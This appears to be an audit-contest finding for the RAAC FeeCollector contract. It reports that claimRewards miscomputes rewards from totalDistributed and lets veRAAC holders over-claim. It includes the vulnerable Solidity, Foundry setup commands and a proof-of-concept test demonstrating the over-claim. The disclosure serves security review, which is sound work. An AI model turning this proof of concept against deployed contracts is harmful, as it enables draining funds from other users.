Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Excessive Reward Claims Due to Incorrect Use of totalDistributed in FeeCollector Contract

Summary

Users with locked veRAACTokens are able to claim more rewards than they should be entitled to. This issue arises because the FeeCollector contract uses totalDistributed for calculating pending rewards, which does not properly account for the amount of rewards distributed and lacks checks to ensure that the distribution does not exceed the set percentage of rewards.

Vulnerability Details

The vulnerability is found in the claimRewards function of the FeeCollector contract. The function calculates the pending rewards for a user based on their voting power in the veRAACToken contract. However, it uses totalDistributed for the calculation, leading to users being able to claim more rewards than they should.

Steps to Reproduce:
1 Initial Setup: Users lock veRAACTokens in the veRAACToken contract.
2. Collect Fees: Fees are collected in the FeeCollector contract.
3. Distribute Fees: Collected fees are distributed to veRAAC holders.
4. Claim Rewards: Users claim rewards more then the share of the contract, because the totalDistributed is bigger and it is not taken of account the rewards already claimed, receiving more than their fair share due to incorrect reward distribution logic.

Affected Code

function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
if (user == address(0)) revert InvalidAddress();
uint256 pendingReward = _calculatePendingRewards(user);
console.log("Pending Reward:", pendingReward);
if (pendingReward == 0) revert InsufficientBalance();
// Reset user rewards before transfer
userRewards[user] = totalDistributed;
console.log("Total Distributed:", totalDistributed);
// Transfer rewards
raacToken.safeTransfer(user, pendingReward);
emit RewardClaimed(user, pendingReward);
return pendingReward;
}
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}

Impact

The impact of this vulnerability is significant as it allows users to claim more rewards than they are entitled to, leading to an unfair distribution of rewards and potential financial losses for other users. This issue can erode user trust and result in an imbalance in the reward distribution system.

Tools Used

Foundry
Solidity
Forge-std

Recommendations

To fix this vulnerability, the reward distribution logic in the FeeCollector contract needs to be corrected. Specifically, the claimRewards function should be modified to ensure that the total rewards claimed by users do not exceed the set percentage of distributed rewards. Here are some recommendations:

Review and Modify claimRewards Function: Ensure that the function correctly accounts for the total amount of rewards distributed and includes checks to prevent excessive claims.

POC

Commands to run in the terminal

mkdir ../raacFoundry
cd ../raacFoundry
forge init
rm src/Counter.sol test/Counter.t.sol script/Counter.s.sol
cp -r ../2025-02-raac/contracts src
touch test/Test.sol
npm install @openzeppelin/contracts
npm install @openzeppelin/contracts
npm install @openzeppelin/contracts-upgradeable
npm install @chainlink/contracts
forge test

Add this to the forge.toml file

[profile.default]
src = "src"
out = "out"
libs = ['lib', 'node_modules']
remappings = [
"@openzeppelin/=node_modules/@openzeppelin/",
"@chainlink/=node_modules/@chainlink/"
]

Add this to the test/Test.sol file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/contracts/core/tokens/RAACToken.sol";
import "../src/contracts/core/tokens/veRAACToken.sol";
import "../src/contracts/core/collectors/FeeCollector.sol";
contract FeeCollectorTest is Test {
RAACToken raacToken;
veRAACToken veRaacToken;
FeeCollector feeCollector;
address owner;
address user1;
address user2;
address treasury;
address newTreasury;
address repairFund;
address emergencyAdmin;
uint256 constant BASIS_POINTS = 10000;
uint256 constant WEEK = 7 * 24 * 3600;
uint256 constant ONE_YEAR = 365 * 24 * 3600;
uint256 constant INITIAL_MINT = 10000;
uint256 constant SWAP_TAX_RATE = 100; // 1%
uint256 constant BURN_TAX_RATE = 50; // 0.5%
struct FeeType {
uint256 veRAACShare;
uint256 burnShare;
uint256 repairShare;
uint256 treasuryShare;
}
function setUp() public {
owner = address(this);
user1 = address(1);
user2 = address(2);
treasury = address(3);
newTreasury = address(4);
repairFund = address(5);
emergencyAdmin = address(6);
raacToken = new RAACToken(owner, SWAP_TAX_RATE, BURN_TAX_RATE);
veRaacToken = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(address(raacToken), address(veRaacToken), treasury, repairFund, owner);
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veRaacToken), true);
raacToken.setMinter(owner);
veRaacToken.setMinter(owner);
feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);
feeCollector.grantRole(feeCollector.EMERGENCY_ROLE(), emergencyAdmin);
feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);
raacToken.mint(owner, INITIAL_MINT * 100);
raacToken.approve(address(feeCollector), INITIAL_MINT * 100);
raacToken.mint(user1, INITIAL_MINT);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(address(feeCollector), INITIAL_MINT * 100); // Mint tokens to the FeeCollector
vm.prank(user1);
raacToken.approve(address(feeCollector), type(uint256).max);
vm.prank(user2);
raacToken.approve(address(feeCollector), type(uint256).max);
for (uint8 i = 0; i < 8; i++) {
feeCollector.updateFeeType(i, IFeeCollector.FeeType(5000, 1000, 1000, 3000));
}
vm.prank(user1);
raacToken.approve(address(veRaacToken), 10000);
// Lock tokens in veRaacToken
vm.prank(user1);
veRaacToken.lock(100, 365 days);
}
uint256 currentTime = block.timestamp;
function forwardTime(uint256 addTime) internal {
currentTime += addTime;
vm.warp(currentTime);
}
function testFeeDistribution() public {
uint256 firstFee = 400;
vm.prank(user1);
feeCollector.collectFee(firstFee, 0);
uint256 initialTreasuryBalance = raacToken.balanceOf(treasury);
uint256 initialRepairBalance = raacToken.balanceOf(repairFund);
vm.prank(owner);
feeCollector.distributeCollectedFees();
uint256 finalTreasuryBalance = raacToken.balanceOf(treasury);
uint256 finalRepairBalance = raacToken.balanceOf(repairFund);
assertGt(finalTreasuryBalance, initialTreasuryBalance);
assertGt(finalRepairBalance, initialRepairBalance);
uint256 initialBalance = raacToken.balanceOf(user1);
console.log("initialBalance", initialBalance);
console.log("user1 locked balance", veRaacToken.balanceOf(user1));
vm.prank(user1);
feeCollector.claimRewards(user1);
console.log("user1 rewards balance", raacToken.balanceOf(user1));
uint256 rewardsClaimedUser1 = raacToken.balanceOf(user1) - initialBalance;
console.log("user1 claimed", raacToken.balanceOf(user1) - initialBalance);
uint256 secondFee = 1000;
vm.prank(owner);
feeCollector.collectFee(secondFee, 0);
forwardTime(7 days);
vm.prank(owner);
feeCollector.distributeCollectedFees();
vm.prank(user2);
raacToken.approve(address(veRaacToken), 10000);
vm.prank(user2);
veRaacToken.lock(900, 365 days);
uint256 initialBalance2 = raacToken.balanceOf(user2);
console.log("User2 rewards balance", initialBalance2);
console.log("User2 locked balance", veRaacToken.balanceOf(user2));
vm.prank(user2);
feeCollector.claimRewards(user2);
console.log("User2 rewards balance", raacToken.balanceOf(user2));
uint256 rewardsClaimedUser2 = raacToken.balanceOf(user2) - initialBalance2;
console.log("User2 claimed", raacToken.balanceOf(user2) - initialBalance2 );
// The veRAAC share is set 5000 basis points, so the users should be able to claim 50% of the rewards
console.log("Combinded rewards", rewardsClaimedUser1 + rewardsClaimedUser2);
console.log("Total fees 50%", (firstFee + secondFee)/2);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

FeeCollector::claimRewards sets `userRewards[user]` to `totalDistributed` seriously grieving users from rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.